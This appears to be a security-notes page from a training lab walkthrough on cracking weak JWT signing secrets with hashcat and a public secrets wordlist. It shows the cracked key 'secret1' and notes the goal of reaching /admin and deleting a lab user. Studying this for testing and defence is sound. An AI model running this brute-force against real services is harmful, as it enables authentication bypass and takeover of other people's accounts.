# Brute-forcing Secret Keys

> List with well-known secrets: [jwt.secrets.list](https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list).

We can brute-force a JWT as follows ([16500 -> JWT](https://hashcat.net/wiki/doku.php?id=example_hashes)).

```bash
hashcat -a 0 -m 16500 <jwt> <wordlist>
```

Hashcat signs the header and payload from the JWT using each wordlist secret and compares the resulting signature with the original one.&#x20;

## LAB: JWT Authentication Bypass via Weak Singing Key

> **Goal**: Brute-force the website's secret key, access `/admin`, and delete `carlos`.

<figure><img src="https://3960676229-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmjLkek16kB60c2WFd5lf%2Fuploads%2F9TtSg1omkSQS8yMZehNP%2Fjwt_brute_forcing.png?alt=media&#x26;token=724aa7c6-f9aa-420d-b2d4-2c6385c718d7" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
$ hashcat -a 0 -m 16500 eyJraWQiOiI2ZmIyYjNhYS1lMzA1LTRlN2UtOTc2NC04ZTJjOGI0MmEzZDUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcxODAyODAyNiwic3ViIjoid2llbmVyIn0.c6A-cb8_r6JqIuBvZSl09tPYr6F7Zhii8lJsF2QkFjQ jwt.secrets.list

<SNIP>
eyJ...<SNIP>...FjQ:secret1
<SNIP>
```

{% endcode %}

<figure><img src="https://3960676229-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmjLkek16kB60c2WFd5lf%2Fuploads%2FDB3ncUIgsU2BOp0aXx07%2Fjwt_brute_forcing_1.png?alt=media&#x26;token=6439d743-2171-4c68-8e89-22a5a418b093" alt=""><figcaption></figcaption></figure>

> This can be also done using the Burp's [JWT Editor](https://portswigger.net/burp/documentation/desktop/testing-workflow/session-management/jwts#editing-jwts) extension.

<figure><img src="https://3960676229-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmjLkek16kB60c2WFd5lf%2Fuploads%2F7xkqo4xGa0MSUegv9qPC%2Fjwt_brute_forcing_jwt_editor_extension.png?alt=media&#x26;token=0d82b484-0388-4125-82b6-1205162a7193" alt=""><figcaption></figcaption></figure>
